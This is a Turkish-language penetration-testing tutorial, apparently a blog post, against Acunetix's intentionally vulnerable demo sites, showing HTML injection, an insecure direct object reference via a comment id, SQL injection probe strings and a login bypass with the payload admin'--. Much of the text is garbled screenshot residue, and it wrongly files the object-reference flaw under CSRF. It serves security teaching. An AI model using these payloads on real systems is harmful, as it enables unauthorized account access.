Yukarıda görmüş olduğunuz html kodlarını forumda yayınlamak için gönderiyorum. Thread Title bölümnde gördüğünüz basit bir html resim ekleme kodu, normal şartlarda resim gönderememem gerekiyor bu panel üzerinden ama html injection zafiyeti sayesinde bu yetkilere ve daha fazlasına artıksahibim.

Başka bir siteden resim çekmek için kullandığımız basit bir html kodu :

<img src="https://dunnesec.files.wordpress.com/2014/05/acunetix-big-logo.png">

acunetix acuforum				TEST and Demonstration site for Acunetix Web Vulnerability Scanner
about - forums - search - logout ismailtasdelen				
Weather				
Thread		Posts	Posted by	Last Post
1		0	admin	
test		1	anindita	03.07.2017 13:04:25
		1	ismailtasdelen	03.07.2017 14:16:09
	Thread title			
	Thread message			

Yukarıda görmüş olduğunuz üzere html injection zafiyetini güzel bir şekilde istismar etmiş olduk.

Sıradaki sızma testimizi <u>http://testaspnet.vulnweb.com/</u> adresine gerçekleştireceğiz. Acublog web uygulaması IIS, ASP.NET, Microsoft SQL Server teknolojilerini kullanmakta, dilerseniz en son sızmatestlerini gerçekleşireceğimiz web uygulamasına birlikte bakalım.



Karşımıza yukarıdaki gibi bir web uygulaması çıkmakta, ilk bakışta dikkatimi çeken şey acunetix logosuve acublog yazısı olduğunu görüyoruz. Bir blog web uygulaması olduğu çok açık. Logo ve

uygulamamızın ismin altında login ve singup bölümleri dikkatimi çeken ikinci şey oluyor.

acunetix	acublog	Test Website f	or Acunetix Web Vulnerability Scanner
about news login	signup		RSS
Username: Password: Subscription successfull.	acublog_admin0x001	Sign me up page to login.	≤         Juli 2017         ≥           Mo Di Hi Do Fr Ss 50         2         2         2         1         2           3         4         5         6         2         2         1         2           3         4         5         6         2         2         1         2           10         11         13         14         15         16         1         2           12         18         19         20         21         22         23         2           24         25         26         27         28         2         30         1         1         4         5         6           34         1         2         3         4         5         6         5         5

Bu sefer login bypass yerine acublog web uygulamasında kendime test için bir kullanıcı açıyorum.Kayıt için kullandığım kullanıcı bilgileri aşağıdaki gibidir.

Username : acublog\_admin0x001 Password : 123456

Sign me up butonuna tıklayarak kullanıcı hesabımı oluşturuyorum. Daha sonra bana " Subscription successfull. Please visit the login page to login. " çıktısını veriyor yani kullanıcı oluşturma işleminin başarılı bir şekilde gerçekleştiğini ve login sayfasından blog sayfasına giriş yapabileceğimi belirtiyor.

<b>∩</b> acunetix acublog	Test Website for Acunetix Web Vulnerability Scanner
about news login signup	RSS
Username: acubiog_admin0x001 Password:	Ko         Dir         Do         Fr         So         Zi         So         Zi         Zi <thzi< th="">         Zi         Zi         Zi&lt;</thzi<>

Kullanıcı bilgilerim ile giriş yapmak istiyorum ama yapamıyorum. Böylece uygulamamızda bir bugtespit etmiş olduk. Her zaman yaptığım gibi sayfaları kurcalamaya başlıyorum.



Acublog     Test Website for Ac     Acublog     Test Website for Acublog     T	unetix Web Vulnerability	/ Scanne
about news login signup	S         Juli 2017         2           Mo Di Mi Do Fr Sa So         26         27         28         28         1         1           J         4         5         7         8         9         10         14         15         16           J         18         12         12         22         22         22         22         22         22         23         14         2         24         25         26         27         26         20         23         14         2         4         5         6         Get RSS feed         Get RSS feed         5	RSS

about news login signup	RSS	
Acunetix Web Vulnerability Scanner Beta Rekeased! During the beta phase, builds are released frequently, therefore it is not recommended that the same beta version is used for more than 30 days. To beta-test beyond 30 days, users should install the latest beta version or, if available, use the release version. About Acunetix Web Vulnerability Scanner, a unique web application scanning product that makes securing one's website easier than ever. Acunetix Web Vulnerability, Scanner is an automated web application security testing tool that crawls an entire website and attacks it so as to identify potential weaknesses before hackers do. Further information is available a thtp://www.acunetix.com/wws/. About Acunetix KUD Vulnerability Scanner, is the result of several years of development and utilizes unique technology to alow companies to check the security of their website. Acunetix KUB Read user comments Is your website hackable? Is your website hackable?	≤ Juli 2017 ≥ Mo Di Mi DoFF Sa So 25 27 28 29 1 2 1 4 5 5 7 8 5 1 1 1 1 5 5 1 2 1 2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1	

about news login signup	E
posted by admin 08.11.2005 11:37:35	di
26 January 2005 - A beta version of Acunetix Web Vuln	erability Scanner has been released today. The bet
is available for download at http://www.acunetix.com/c	lownload/.
User comments:	
posted by 13.82.89.16101.07.2017 01:35:56	
	0000
	~~~~
posted by 13.02.09.16101.07.2017 01:36:20	
1ACUSTART	
nester by 13 82 89 16101 07 2017 09 36-31	
//www.vulnweb.com	
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,	
and a la 13 bit to 14 bit to 15 bit to 10 bit to 10 bits	
-1 OP 2+662-662-1=0+0+0+1	
-1 0K 2+002-002-1-0+0+0+1	
	-
-1 OP 2+652-652-1=0+0+0+1	
-1 0K 5+002-002-1-0+0+0+1	
-1 OP 2*2-(0+5+662-662)	
-1 0/ 3 2-(0+3+002-002)	
1 OP 2*2> /0 : E : 662 662)	
-1 OK 5 29(0+5+002-002)	

• (1) testaspnet.vulnweb.com/Comments.aspx?id=3	v 90% C Q Search
	acunetix acublog Test Website for Acunetix Web Vulnerability Scanner
abou	it news login signup
posted by	r admin 08:11:005 11:37:35
Actur	lettx Web Vulnerability Scanner Beta Released!
26 Ji	anuary 2005 - A beta version of Acunetix Web Vulnerability Scanner has been released today. The beta is
avail	able for download at http://www.acunetix.com/download/.
User	comments:
postad ))))))	oy 13.82.89.16104.07.2017 04.35:56
poted	by 13.82.89.16104.07.2017 04:36:28
1AC	USTART
pested	by 13.82.89.16104072017 04:36:31
//ww	AW. Vulnweb.com
posted	by <b>13.82.89.161</b> 04 <i>07</i> 2017 04:37:13
-1 O	R 2+662-662-1=0+0+0+1
potest	xy <b>13.82.88.161</b> 040720170437:14
-1 O	R 3+662-662-1=0+0+0+1+1
-1 O	ay <b>13.92.89.161</b> 04.07.2017 04.37.14 R 3*2<(0+5+662-662)

Yukarıda bulunan url adresi dikkatimi geçmekte ve Comments.aspx?id=3 id değerini oynamak geliyoriçimden ve değeri değiştirerek 1 yapıyorum.

Itestaspnet.vulnweb.com/Comments.aspx?id=1	90%
acunetix acublog	Test Website for
about news login signup	
Gate Title Short User comments:	
posted by 13.82.89.16104072017 04:35:53 1	
posted by 13.82.89.16104.07.2017 04.35.55 1	
Send comment	

Görmüş olduğunuz üzere url adresdeki id değerini değiştirerek başka bir kullanıcın blog hesabı üzerinden blog'a gönderi yapabiliyorum. Bu açığa Cross-Site Request Forgery (CSRF) katagorisindeyer alan Güvensiz Doğrudan Nesne Erişimi adlandırdığımız kritik bir güvenlik zafiyetidir. Bir banka veya büyük bir sosyal medya'da olduğunu düşünsenize gerçekten çok kritik, neyse sohbete dalmadansızma testlerimize kaldığımız yerden devam edelim.

( itestaspnet.vulnweb.com/Comments.aspx?id=5	50%
	acunetix acublog Test Website for Acumetix Web V
	about news login signup
	ata Title
	User comments:
	poded by \$2,222.455.6804.07.2017 06-45-26
	HTML Injection
	·
	MORE VICEOS
	► ••) 0:00/2223 <b>58 \$ *•20</b>
	:)
	Contract Sea 57, 202, 1855, 6804 07, 2017, 09: 20: 0.27
	Submit Query
	Send comment

Diğer web uygulmalarında yapmış olduğumuz html injection açığı bu sayfada da var. Görmüşolduğunuz üzere html kodlarını hedef web uygulamamıza enjekte etmiş olduk.



Şimdi login paneline dönüyorum. Diğer web uygulama testlerine olduğu gibi login paneline sql sorularıile bypass denemeleri gerçekleştireceğim.

bout news login signup	RSS
Username: admin' Password:   Remember me  Login	≤     Juli 2017     ≥       No Di Ni Do Fr Sa So     2     2     2     1     2       3     4     5     6     7     8     9       10     11     12     14     15     16       17     18     18     2     12     12       24     15     26     12     22     20       21     1     2     2     4     5       Get RSS feed

Bir çok denemeden sonra login paneli bypass etmeyi başarıyorum. Öncelikle hedef web uygulamasınınlogin panelini istismar edecek sql sorgusunu anlatarak başlamak istiyorum. Yukarıdaki resimde de göreceğiniz üzere istismar eden sql sorgusu " admin'-- " bu sorgunun çalışması için öncelikle hedef web uygulamasında yetkili kullanıcı adını bilmemiz gerekiyor.

acublog Test Website for Acunetix Web Vulnerability	ity Scanner
about       news       login       signup         pointed by admin on 08.11.2005 11.3703 wide comments       Mo Di Nito Di Fr. Sa So         Acunetix Web Vulnerability Scanner Beta Released!       Mo Di Nito Di Fr. Sa So         26 January 2005 - A beta version of Acunetix Web Vulnerability Scanner has been released today. The beta is available for download at http://www.acunetix.com/download/.       Mo Di Nito Di Fr. Sa So         void by admin on 08.11.2005 11.3202 (40 comments)       Web AtlackS - Can Your Web Applications Withstand The Force?         21 July 2005 - Start-up company Acunetix released Acunetix Web Vulnerability Scanner: a tool to automatically audit website security. Acunetix Web Vulnerability Scanner 2 crawls an entire website, launches popular web attacks (SQL Injection etc.) and identifies vulnerabilities that need to be fixed.       Get RSS feed         posted by admin on 08.11.2005 11.3223 ed comments       Watchfire and Acunetix Also Enter into Cross-License Agreement	RSS

Sayfalarda dolanırken yetkili kullanıcı adını defalarca görüyordum. Yukarıdaki resimi yayınlayan kişiadmin kullanıcı adına sahip yetkili, tabi bunu deneme yanılma ile de bulunabilir ama login paneli bypass etmek için yetkili kullanıcı adını bu uygulamada bilmemiz gerekiyor.

Gelelim şimdi hedef login paneli istismar eden sql sorgusuna "admin'-- "username ve password sormakta bize yani iki tane koşul bulunmakta username admin yazıyoruz öncelikle daha sonra sorguyubozmak için 'işareti atıyoruz yanına daha sonra sql kodalarında yorum satırında çevirmek için – sql kodunu yazıyoruz. Böylece kullanıcı adı doğru ise login olmamız gerekiyor sorguda, evet sql sorgusunu çalıştırdığımızdaaşağıdaki resimde göreceğiniz üzere hedef sistemde yetkili kullanıcı olarak erişmiş olduk.

about news logout admin post news	RSS
state by admin on 08.11.2005 11:37:35       Gelean (eff) commens         ccumetix Web Vulnerability Scanner Beta Released]       26         26 January 2005 - A beta version of Acunetix Web Vulnerability Scanner has been released today. The beta is available for download at http://www.acunetix.com/download/.         state by admin on 08.11.2005 11:3922 delta. [3] commens         Veb Attacks - Can Your Web Applications Withstand The Force?         21 July 2005 - Start-up company Acunetix released Acunetix Web         Vulnerability Scanner: a tool to automatically audit website security. Acunetix Web Vulnerability Scanner 2 crawls an entire website, launches popular web attacks (SQL Injection etc.) and identifies vulnerabilities that need to be fixed.         seed by admin on 08.11.2005 11:31:30       sed commens         Vatchfire Licensee Patented Intellectual Property To Acunetix Watchfire Acunetix Meto	S         Juli 2017         >           Ho D HI Do FFS S5         5         2         2         2         1         2           14         5         6         2         8         2         1         2           14         5         6         7         8         2         1         2           12         14         15         16         12         12         12         12           12         15         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         15         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12         12

# Kaynakça

Vulnweb : http://www.vulnweb.com/

**OWASP :** https://www.owasp.org/index.php/Main\_Page

Acunetix : https://www.acunetix.com/vulnerabilities/web/